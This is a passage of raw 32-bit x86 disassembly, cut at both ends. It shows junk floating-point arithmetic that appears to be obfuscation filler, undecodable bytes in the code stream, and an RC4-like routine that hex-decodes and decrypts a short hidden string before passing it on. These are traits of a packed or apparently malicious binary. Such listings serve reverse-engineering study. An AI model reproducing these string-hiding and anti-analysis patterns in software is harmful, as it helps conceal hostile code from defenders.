movsd qword [ebp - 0xaa4], xmm0
movsd xmm0, qword [ebp - 0xcf0]
addsd xmm0, qword [ebp - 0xaa4]
movsd qword [ebp - 0xcf0], xmm0
movsd xmm0, qword [ebp - 0x1664]
addsd xmm0, qword [ebp - 0xd00]
movsd qword [ebp - 0x1664], xmm0
movsd xmm0, qword [ebp - 0xaa4]
addsd xmm0, qword [ebp - 0x1048]
movsd qword [ebp - 0xaa4], xmm0
movsd xmm0, qword [ebp - 0xd00]
subsd xmm0, qword [ebp - 0x8b0]
movsd qword [ebp - 0xd00], xmm0
mov edx, dword [ebp - 0x454]
add edx, 1
mov dword [ebp - 0x454], edx
jmp 0x4861b3
movsd xmm0, qword [ebp - 0x1664]
subsd xmm0, qword [ebp - 0xd00]
movsd qword [ebp - 0x1664], xmm0
movsd xmm0, qword [ebp - 0xd00]
mulsd xmm0, qword [ebp - 0x8b0]
movsd qword [ebp - 0xd00], xmm0
movsd xmm0, qword [ebp - 0x8b0]
addsd xmm0, qword [ebp - 0xcf0]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0xaa4]
subsd xmm0, qword [ebp - 0x1048]
movsd qword [ebp - 0xaa4], xmm0
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0xcf0]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0xd00]
mulsd xmm0, qword [ebp - 0x8b0]
movsd qword [ebp - 0xd00], xmm0
mov eax, dword [ebp - 0x240]
shl eax, 1
mov dword [ebp - 0x6e8], eax
mov ecx, dword [ebp - 0x6d8]
add ecx, dword [ebp - 0x6e8]
movzx edx, byte [ecx]
mov dword [ebp - 0x68c], edx
mov dword [ebp - 0x688], 0x35
mov eax, dword [ebp - 0x240]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6d4], ecx
mov edx, dword [ebp - 0x6d8]
add edx, dword [ebp - 0x6d4]
movzx eax, byte [edx]
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], 0xa
mov ecx, dword [ebp - 0x68c]
sub ecx, dword [ebp - 0x688]
mov dword [ebp - 0x67c], ecx
mov edx, dword [ebp - 0x684]
sub edx, dword [ebp - 0x680]
mov dword [ebp - 0x668], edx
mov eax, dword [ebp - 0x67c]
shl eax, 4
mov dword [ebp - 0x6e4], eax
mov ecx, dword [ebp - 0x668]
mov dword [ebp - 0x6d0], ecx
mov edx, dword [ebp - 0x6e4]
or edx, dword [ebp - 0x6d0]
mov dword [ebp - 0x6cc], edx
mov al, byte [ebp - 0x6cc]
mov byte [ebp - 0x1de], al
movzx ecx, byte [ebp - 0x1cc]
mov dl, byte [ebp + ecx - 0x1bd0]
mov byte [ebp - 0x1dc], dl
movzx eax, byte [ebp - 0x1a6]
movzx ecx, byte [ebp + eax - 0x1bd0]
mov dword [ebp - 0x191c], ecx
mov dl, byte [ebp - 0x1a6]
add dl, 1
mov byte [ebp - 0x1a6], dl
movzx eax, byte [ebp - 0x1b5]
add eax, dword [ebp - 0x191c]
mov byte [ebp - 0x1b5], al
movzx ecx, byte [ebp - 0x1b5]
movzx edx, byte [ebp - 0x1cc]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1b8]
movzx edx, byte [ebp - 0x1b5]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1a6]
movzx edx, byte [ebp - 0x1b8]
mov al, byte [ebp + ecx - 0x1bd0]
mov byte [ebp + edx - 0x1bd0], al
movzx ecx, byte [ebp - 0x1a6]
mov dl, byte [ebp - 0x1dc]
mov byte [ebp + ecx - 0x1bd0], dl
movzx eax, byte [ebp - 0x1dc]
movzx ecx, byte [ebp + eax - 0x1bd0]
movzx edx, byte [ebp - 0x1dd]
add edx, ecx
mov byte [ebp - 0x1dd], dl
movzx eax, byte [ebp - 0x1de]
movzx ecx, byte [ebp - 0x1b5]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx ecx, byte [ebp - 0x1a6]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1bd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1b8]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx ecx, byte [ebp - 0x1cc]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1dd]
movzx ecx, byte [ebp + ecx - 0x1bd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1bd0]
movzx ecx, byte [ebp + edx - 0x1bd0]
xor eax, ecx
mov byte [ebp - 0x1b8], al
mov dl, byte [ebp - 0x1de]
mov byte [ebp - 0x1cc], dl
mov al, byte [ebp - 0x1b8]
mov byte [ebp - 0x225], al
cmp dword [ebp - 0x240], 0
jle 0x4863f7
mov ecx, dword [ebp - 0x240]
mov dl, byte [ebp - 0x225]
mov byte [ebp + ecx - 0x81], dl
mov eax, dword [ebp - 0x240]
add eax, 1
mov dword [ebp - 0x240], eax
mov ecx, dword [ebp - 0x454]
add ecx, 1
mov dword [ebp - 0x454], ecx
mov edx, dword [ebp - 0x240]
shl edx, 1
mov dword [ebp - 0x6e8], edx
mov eax, dword [ebp - 0x6d8]
add eax, dword [ebp - 0x6e8]
movzx ecx, byte [eax]
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x688], 0x35
mov edx, dword [ebp - 0x240]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x6d4], eax
mov ecx, dword [ebp - 0x6d8]
add ecx, dword [ebp - 0x6d4]
movzx edx, byte [ecx]
mov dword [ebp - 0x684], edx
mov dword [ebp - 0x680], 0xa
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x688]
mov dword [ebp - 0x67c], eax
mov ecx, dword [ebp - 0x684]
sub ecx, dword [ebp - 0x680]
mov dword [ebp - 0x668], ecx
mov edx, dword [ebp - 0x67c]
shl edx, 4
mov dword [ebp - 0x6e4], edx
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0x6d0], eax
mov ecx, dword [ebp - 0x6e4]
or ecx, dword [ebp - 0x6d0]
mov dword [ebp - 0x6cc], ecx
mov dl, byte [ebp - 0x6cc]
mov byte [ebp - 0x1de], dl
movzx eax, byte [ebp - 0x1cc]
mov cl, byte [ebp + eax - 0x1bd0]
mov byte [ebp - 0x1dc], cl
movzx edx, byte [ebp - 0x1a6]
movzx eax, byte [ebp + edx - 0x1bd0]
mov dword [ebp - 0x1880], eax
mov cl, byte [ebp - 0x1a6]
add cl, 1
mov byte [ebp - 0x1a6], cl
movzx edx, byte [ebp - 0x1b5]
add edx, dword [ebp - 0x1880]
mov byte [ebp - 0x1b5], dl
movzx eax, byte [ebp - 0x1b5]
movzx ecx, byte [ebp - 0x1cc]
mov dl, byte [ebp + eax - 0x1bd0]
mov byte [ebp + ecx - 0x1bd0], dl
movzx eax, byte [ebp - 0x1b8]
movzx ecx, byte [ebp - 0x1b5]
mov dl, byte [ebp + eax - 0x1bd0]
mov byte [ebp + ecx - 0x1bd0], dl
movzx eax, byte [ebp - 0x1a6]
movzx ecx, byte [ebp - 0x1b8]
mov dl, byte [ebp + eax - 0x1bd0]
mov byte [ebp + ecx - 0x1bd0], dl
movzx eax, byte [ebp - 0x1a6]
mov cl, byte [ebp - 0x1dc]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1dc]
movzx eax, byte [ebp + edx - 0x1bd0]
movzx ecx, byte [ebp - 0x1dd]
add ecx, eax
mov byte [ebp - 0x1dd], cl
movzx edx, byte [ebp - 0x1de]
movzx eax, byte [ebp - 0x1b5]
movzx ecx, byte [ebp + eax - 0x1bd0]
movzx eax, byte [ebp - 0x1a6]
movzx eax, byte [ebp + eax - 0x1bd0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1bd0]
xor edx, ecx
movzx eax, byte [ebp - 0x1b8]
movzx ecx, byte [ebp + eax - 0x1bd0]
movzx eax, byte [ebp - 0x1cc]
movzx eax, byte [ebp + eax - 0x1bd0]
add ecx, eax
movzx eax, byte [ebp - 0x1dd]
movzx eax, byte [ebp + eax - 0x1bd0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1bd0]
movzx eax, byte [ebp + ecx - 0x1bd0]
xor edx, eax
mov byte [ebp - 0x1b8], dl
mov cl, byte [ebp - 0x1de]
mov byte [ebp - 0x1cc], cl
mov dl, byte [ebp - 0x1b8]
mov byte [ebp - 0x225], dl
cmp dword [ebp - 0x240], 0
jle 0x486659
mov eax, dword [ebp - 0x240]
mov cl, byte [ebp - 0x225]
mov byte [ebp + eax - 0x81], cl
mov edx, dword [ebp - 0x240]
add edx, 1
mov dword [ebp - 0x240], edx
mov eax, dword [ebp - 0x454]
add eax, 1
mov dword [ebp - 0x454], eax
mov ecx, dword [ebp - 0x240]
shl ecx, 1
mov dword [ebp - 0x6e8], ecx
movss xmm0, dword [0x58297c]
movss dword [ebp - 0x9c0], xmm0
movss xmm0, dword [0x5828f0]
movss dword [ebp - 0xb44], xmm0
movss xmm0, dword [0x582874]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [0x5827dc]
movss dword [ebp - 0x7cc], xmm0
movss xmm0, dword [ebp - 0x544]
mulss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x544]
subss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x544]
addss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x544]
mulss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x7cc]
comiss xmm0, dword [ebp - 0x544]
jbe 0x486798
movss xmm0, dword [ebp - 0x9c0]
addss xmm0, dword [ebp - 0xb44]
movss dword [ebp - 0x9c0], xmm0
movss xmm0, dword [ebp - 0x544]
addss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x9c0]
addss xmm0, dword [ebp - 0xb44]
movss dword [ebp - 0x9c0], xmm0
movss xmm0, dword [ebp - 0x544]
mulss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0x544], xmm0
jmp 0x48680d
movss xmm0, dword [ebp - 0x9c0]
addss xmm0, dword [ebp - 0x544]
movss dword [ebp - 0x9c0], xmm0
movss xmm0, dword [ebp - 0x7cc]
addss xmm0, dword [ebp - 0xb44]
movss dword [ebp - 0x7cc], xmm0
movss xmm0, dword [ebp - 0x544]
subss xmm0, dword [ebp - 0x9c0]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0xb44]
addss xmm0, dword [ebp - 0x7cc]
movss dword [ebp - 0xb44], xmm0
mov edx, dword [ebp - 0x6d8]
add edx, dword [ebp - 0x6e8]
movzx eax, byte [edx]
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x688], 0x35
mov ecx, dword [ebp - 0x240]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x6d4], edx
mov eax, dword [ebp - 0x6d8]
add eax, dword [ebp - 0x6d4]
movzx ecx, byte [eax]
mov dword [ebp - 0x684], ecx
mov dword [ebp - 0x680], 0xa
mov edx, dword [ebp - 0x68c]
sub edx, dword [ebp - 0x688]
mov dword [ebp - 0x67c], edx
mov eax, dword [ebp - 0x684]
sub eax, dword [ebp - 0x680]
mov dword [ebp - 0x668], eax
mov ecx, dword [ebp - 0x67c]
shl ecx, 4
mov dword [ebp - 0x6e4], ecx
mov edx, dword [ebp - 0x668]
mov dword [ebp - 0x6d0], edx
mov eax, dword [ebp - 0x6e4]
or eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x6cc], eax
mov cl, byte [ebp - 0x6cc]
mov byte [ebp - 0x1de], cl
movzx edx, byte [ebp - 0x1cc]
mov al, byte [ebp + edx - 0x1bd0]
mov byte [ebp - 0x1dc], al
movzx ecx, byte [ebp - 0x1a6]
movzx edx, byte [ebp + ecx - 0x1bd0]
mov dword [ebp - 0x1920], edx
mov al, byte [ebp - 0x1a6]
add al, 1
mov byte [ebp - 0x1a6], al
movzx ecx, byte [ebp - 0x1b5]
add ecx, dword [ebp - 0x1920]
mov byte [ebp - 0x1b5], cl
movzx edx, byte [ebp - 0x1b5]
movzx eax, byte [ebp - 0x1cc]
mov cl, byte [ebp + edx - 0x1bd0]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1b8]
movzx eax, byte [ebp - 0x1b5]
mov cl, byte [ebp + edx - 0x1bd0]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1a6]
movzx eax, byte [ebp - 0x1b8]
mov cl, byte [ebp + edx - 0x1bd0]
mov byte [ebp + eax - 0x1bd0], cl
movzx edx, byte [ebp - 0x1a6]
mov al, byte [ebp - 0x1dc]
mov byte [ebp + edx - 0x1bd0], al
movsd xmm0, qword [0x5825b0]
movsd qword [ebp - 0xca8], xmm0
movsd xmm0, qword [0x5824b8]
movsd qword [ebp - 0xaf8], xmm0
movsd xmm0, qword [0x5823b8]
movsd qword [ebp - 0xc40], xmm0
movsd xmm0, qword [0x582290]
movsd qword [ebp - 0xe34], xmm0
movsd xmm0, qword [0x5820e8]
movsd qword [ebp - 0xca0], xmm0
movsd xmm0, qword [ebp - 0xca8]
mulsd xmm0, qword [ebp - 0xca0]
movsd qword [ebp - 0xca8], xmm0
movsd xmm0, qword [ebp - 0xe34]
subsd xmm0, qword [ebp - 0xca0]
movsd qword [ebp - 0xe34], xmm0
movsd xmm0, qword [ebp - 0xaf8]
subsd xmm0, qword [ebp - 0xca0]
movsd qword [ebp - 0xaf8], xmm0
movsd xmm0, qword [ebp - 0xaf8]
mulsd xmm0, qword [ebp - 0xca0]
movsd qword [ebp - 0xaf8], xmm0
movsd xmm0, qword [ebp - 0xca8]
subsd xmm0, qword [ebp - 0xca0]
movsd qword [ebp - 0xca8], xmm0
movsd xmm0, qword [ebp - 0xe34]
comisd xmm0, xmmword [ebp - 0xca8]
jbe 0x486aac
movsd xmm0, qword [ebp - 0xc40]
addsd xmm0, qword [ebp - 0xe34]
movsd qword [ebp - 0xc40], xmm0
movsd xmm0, qword [ebp - 0xaf8]
mulsd xmm0, qword [ebp - 0xc40]
movsd qword [ebp - 0xaf8], xmm0
movsd xmm0, qword [ebp - 0xc40]
addsd xmm0, qword [ebp - 0xe34]
movsd qword [ebp - 0xc40], xmm0
movsd xmm0, qword [ebp - 0xaf8]
subsd xmm0, qword [ebp - 0xc40]
movsd qword [ebp - 0xaf8], xmm0
movsd xmm0, qword [ebp - 0xc40]
mulsd xmm0, qword [ebp - 0xe34]
movsd qword [ebp - 0xc40], xmm0
jmp 0x486b42
movsd xmm0, qword [ebp - 0xca8]
addsd xmm0, qword [ebp - 0xc40]
movsd qword [ebp - 0xca8], xmm0
movsd xmm0, qword [ebp - 0xaf8]
subsd xmm0, qword [ebp - 0xe34]
movsd qword [ebp - 0xaf8], xmm0
movsd xmm0, qword [ebp - 0xca0]
mulsd xmm0, qword [ebp - 0xaf8]
movsd qword [ebp - 0xca0], xmm0
movsd xmm0, qword [ebp - 0xca0]
addsd xmm0, qword [ebp - 0xaf8]
movsd qword [ebp - 0xca0], xmm0
movsd xmm0, qword [ebp - 0xca8]
addsd xmm0, qword [ebp - 0xc40]
movsd qword [ebp - 0xca8], xmm0
movzx ecx, byte [ebp - 0x1dc]
movzx edx, byte [ebp + ecx - 0x1bd0]
movzx eax, byte [ebp - 0x1dd]
add eax, edx
mov byte [ebp - 0x1dd], al
movss xmm0, dword [0x5829bc]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [0x582924]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [0x582840]
movss dword [ebp - 0x59c], xmm0
movss xmm0, dword [ebp - 0x308]
subss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x308]
addss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x388]
addss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [ebp - 0x388]
comiss xmm0, dword [ebp - 0x59c]
jbe 0x486ca0
movss xmm0, dword [ebp - 0x388]
addss xmm0, dword [ebp - 0x308]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [ebp - 0x388]
addss xmm0, dword [ebp - 0x308]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [ebp - 0x308]
mulss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x308], xmm0
movzx ecx, byte [ebp - 0x1de]
movzx edx, byte [ebp - 0x1b5]
movzx eax, byte [ebp + edx - 0x1bd0]
movzx edx, byte [ebp - 0x1a6]
movzx edx, byte [ebp + edx - 0x1bd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1bd0]
xor ecx, eax
movzx edx, byte [ebp - 0x1b8]
movzx eax, byte [ebp + edx - 0x1bd0]
movzx edx, byte [ebp - 0x1cc]
movzx edx, byte [ebp + edx - 0x1bd0]
add eax, edx
movzx edx, byte [ebp - 0x1dd]
movzx edx, byte [ebp + edx - 0x1bd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1bd0]
movzx edx, byte [ebp + eax - 0x1bd0]
xor ecx, edx
mov byte [ebp - 0x1b8], cl
jmp 0x486dd3
movss xmm0, dword [ebp - 0x59c]
addss xmm0, dword [ebp - 0x308]
movss dword [ebp - 0x59c], xmm0
movss xmm0, dword [ebp - 0x308]
addss xmm0, dword [ebp - 0x388]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x308]
mulss xmm0, dword [ebp - 0x388]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x388]
mulss xmm0, dword [ebp - 0x308]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [ebp - 0x59c]
subss xmm0, dword [ebp - 0x388]
movss dword [ebp - 0x59c], xmm0
movss xmm0, dword [ebp - 0x308]
mulss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x59c]
comiss xmm0, dword [ebp - 0x388]
jbe 0x486d8b
movss xmm0, dword [ebp - 0x388]
mulss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [ebp - 0x308]
subss xmm0, dword [ebp - 0x388]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x308]
mulss xmm0, dword [ebp - 0x388]
movss dword [ebp - 0x308], xmm0
jmp 0x486dd3
movss xmm0, dword [ebp - 0x388]
divss xmm0, dword [ebp - 0x308]
movss dword [ebp - 0x388], xmm0
movss xmm0, dword [ebp - 0x308]
subss xmm0, dword [ebp - 0x59c]
movss dword [ebp - 0x308], xmm0
movss xmm0, dword [ebp - 0x59c]
subss xmm0, dword [ebp - 0x388]
movss dword [ebp - 0x59c], xmm0
mov al, byte [ebp - 0x1de]
mov byte [ebp - 0x1cc], al
mov cl, byte [ebp - 0x1b8]
mov byte [ebp - 0x225], cl
cmp dword [ebp - 0x240], 0
jle 0x486e07
mov edx, dword [ebp - 0x240]
mov al, byte [ebp - 0x225]
mov byte [ebp + edx - 0x81], al
mov ecx, 1
imul edx, ecx, 0xe
mov dword [ebp - 0xf58], edx
cmp dword [ebp - 0xf58], 0xf
jae 0x486e20
jmp 0x486e26
call fcn.0051c285
nop
mov eax, dword [ebp - 0xf58]
mov byte [ebp + eax - 0x80], 0
jmp 0x486e81
mov dword [ebp - 0xcb8], 0
jmp 0x486e4e
mov ecx, dword [ebp - 0xcb8]
add ecx, 1
mov dword [ebp - 0xcb8], ecx
cmp dword [ebp - 0xcb8], 0xf
jge 0x486e81
mov edx, dword [ebp - 0xcb8]
mov dword [ebp - 0xf5c], edx
cmp dword [ebp - 0xf5c], 0xf
jae 0x486e6e
jmp 0x486e74
call fcn.0051c285
nop
mov eax, dword [ebp - 0xf5c]
mov byte [ebp + eax - 0x80], 0
jmp 0x486e3f
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x1924], edx
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x1924]
call fcn.004dd330
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x48], eax
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x124], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc48], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xba0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xba0], xmm0
jmp 0x486ef7
movsd xmm0, qword [ebp - 0xba0]
addsd xmm0, qword [0x580ac8]
movsd qword [ebp - 0xba0], xmm0
movsd xmm0, qword [0x582158]
comisd xmm0, xmmword [ebp - 0xba0]
jbe 0x486fa8
movsd xmm0, qword [0x582008]
mulsd xmm0, qword [ebp - 0xba0]
mulsd xmm0, qword [ebp - 0xba0]
movsd xmm1, qword [ebp - 0xba0]
mulsd xmm1, qword [ebp - 0xba0]
subsd xmm0, xmm1
movsd xmm1, qword [0x581ea0]
mulsd xmm1, qword [ebp - 0xba0]
mulsd xmm1, qword [ebp - 0xba0]
addsd xmm1, qword [0x581f10]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc48]
movsd qword [ebp - 0xc48], xmm0
movsd xmm0, qword [ebp - 0xc48]
comisd xmm0, xmmword [0x581f70]
jbe 0x486fa3
movsd xmm0, qword [0x581e08]
mulsd xmm0, qword [ebp - 0xba0]
movsd xmm1, qword [ebp - 0xc48]
subsd xmm1, xmm0
movsd qword [ebp - 0xc48], xmm1
jmp 0x486edf
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc48]
jbe 0x486fe8
cmp eax, 0x597b6645
inc edx
push edx
jno 0x486fe6
outsd dx, dword [esi]
js 0x486fef
dec edi
popal
dec edx
xor dword [ebx], ebp
dec ebp
cdq
lcall 0x972a, 0x9a309d36
das
lcall 0x922f, 0x96399332
xchg ebp, eax
sub al, 0x95
popfd
sub eax, 0x2c99319b
jmp 0x488c6c
add byte [eax], al
mov dword [ebp - 0x13c], 0x486fc7
mov dword [ebp - 0x124], 0x486fb5
mov edx, dword [ebp - 0x13c]
mov dword [ebp - 0x6b4], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x1928], eax
mov byte [ebp - 0x763], 0x16
mov dword [ebp - 0x460], 0
jmp 0x487036
outsd dx, dword [esi]
dec eax
add bh, al
test esp, ebx
invalid
mov ecx, dword [ebp - 0x460]
add ecx, 1
mov dword [ebp - 0x460], ecx
cmp dword [ebp - 0x460], 0x100
jae 0x487057
mov edx, dword [ebp - 0x460]
mov al, byte [ebp - 0x460]
mov byte [ebp + edx - 0x1cd0], al
jmp 0x487027
movss xmm0, dword [0x582920]
movss dword [ebp - 0x3d8], xmm0
movss xmm0, dword [0x5828bc]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [0x582868]
movss dword [ebp - 0x5fc], xmm0
movss xmm0, dword [0x582810]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [0x5827b4]
movss dword [ebp - 0x458], xmm0
movss xmm0, dword [ebp - 0x2e0]
addss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x2e0]
subss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x5fc]
subss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x5fc], xmm0
movss xmm0, dword [ebp - 0x45c]
mulss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [ebp - 0x2e0]
mulss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x2e0]
comiss xmm0, dword [ebp - 0x458]
jbe 0x4871c2
movss xmm0, dword [ebp - 0x5fc]
mulss xmm0, dword [ebp - 0x45c]
movss dword [ebp - 0x5fc], xmm0
movss xmm0, dword [ebp - 0x45c]
mulss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [ebp - 0x45c]
addss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [ebp - 0x3d8]
mulss xmm0, dword [ebp - 0x2e0]
movss dword [ebp - 0x3d8], xmm0
movss xmm0, dword [ebp - 0x458]
addss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x458], xmm0
mov dword [ebp - 0xa64], 0
mov byte [ebp - 0x1fe], 0
jmp 0x4873b5
movss xmm0, dword [ebp - 0x2e0]
mulss xmm0, dword [ebp - 0x5fc]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x2e0]
subss xmm0, dword [ebp - 0x5fc]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x3d8]
addss xmm0, dword [ebp - 0x2e0]
movss dword [ebp - 0x3d8], xmm0
movss xmm0, dword [ebp - 0x2e0]
mulss xmm0, dword [ebp - 0x5fc]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x458]
subss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x458], xmm0
movss xmm0, dword [ebp - 0x2e0]
mulss xmm0, dword [ebp - 0x5fc]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x3d8]
subss xmm0, dword [ebp - 0x2e0]
movss dword [ebp - 0x3d8], xmm0
movss xmm0, dword [ebp - 0x5fc]
addss xmm0, dword [ebp - 0x45c]
movss dword [ebp - 0x5fc], xmm0
movss xmm0, dword [ebp - 0x458]
mulss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x458], xmm0
movss xmm0, dword [ebp - 0x458]
subss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x458], xmm0
movss xmm0, dword [ebp - 0x2e0]
comiss xmm0, dword [ebp - 0x458]
jbe 0x48733d
movss xmm0, dword [ebp - 0x2e0]
divss xmm0, dword [ebp - 0x45c]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x45c]
divss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [ebp - 0x45c]
divss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [ebp - 0x45c]
subss xmm0, dword [ebp - 0x3d8]
movss dword [ebp - 0x45c], xmm0
movss xmm0, dword [ebp - 0x3d8]
mulss xmm0, dword [ebp - 0x5fc]
movss dword [ebp - 0x3d8], xmm0
jmp 0x4873b5
movss xmm0, dword [ebp - 0x2e0]
mulss xmm0, dword [ebp - 0x5fc]
movss dword [ebp - 0x2e0], xmm0
movss xmm0, dword [ebp - 0x5fc]
divss xmm0, dword [ebp - 0x45c]
movss dword [ebp - 0x5fc], xmm0
movss xmm0, dword [ebp - 0x3d8]
addss xmm0, dword [ebp - 0x2e0]
movss dword [ebp - 0x3d8], xmm0
movss xmm0, dword [ebp - 0x3d8]
subss xmm0, dword [ebp - 0x2e0]
movss dword [ebp - 0x3d8], xmm0
movss xmm0, dword [ebp - 0x45c]
subss xmm0, dword [ebp - 0x458]
movss dword [ebp - 0x45c], xmm0
mov dword [ebp - 0x460], 0xff
jmp 0x4873d0
mov ecx, dword [ebp - 0x460]
sub ecx, 1
mov dword [ebp - 0x460], ecx
cmp dword [ebp - 0x460], 0
jbe 0x487640
mov dword [ebp - 0xd14], 0
mov dword [ebp - 0xcbc], 1
mov edx, dword [ebp - 0xcbc]
cmp edx, dword [ebp - 0x460]
jae 0x487411
mov eax, dword [ebp - 0xcbc]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0xcbc], ecx
jmp 0x4873f1
mov edx, dword [ebp - 0xa64]
mov dword [ebp - 0xf68], edx
cmp dword [ebp - 0xf68], 3
ja case.default.0x487430
mov eax, dword [ebp - 0xf68]
jmp dword [eax*4 + 0x495134]
movzx ecx, byte [ebp - 0x1fe]
movzx ebx, byte [ebp + ecx - 0x1cd0]
movsd xmm0, qword [ebp - 0xc48]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fe], bl
jmp 0x487519
movzx edx, byte [ebp - 0x1fe]
movzx ebx, byte [ebp + edx - 0x1cd0]
movsd xmm0, qword [ebp - 0xc48]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fe], bl
jmp 0x487519
movzx eax, byte [ebp - 0x1fe]
movzx ebx, byte [ebp + eax - 0x1cd0]
movsd xmm0, qword [ebp - 0xc48]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fe], bl
jmp 0x487519
movzx ecx, byte [ebp - 0x1fe]
movzx ebx, byte [ebp + ecx - 0x1cd0]
movsd xmm0, qword [ebp - 0xc48]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fe], bl
jmp 0x487519
movzx edx, byte [ebp - 0x1fe]
movzx eax, byte [ebp + edx - 0x1cd0]
mov ecx, dword [ebp - 0x1928]
add ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x1fe], al
mov eax, dword [ebp - 0xa64]
add eax, 1
mov dword [ebp - 0xa64], eax
movzx ecx, byte [ebp - 0x763]
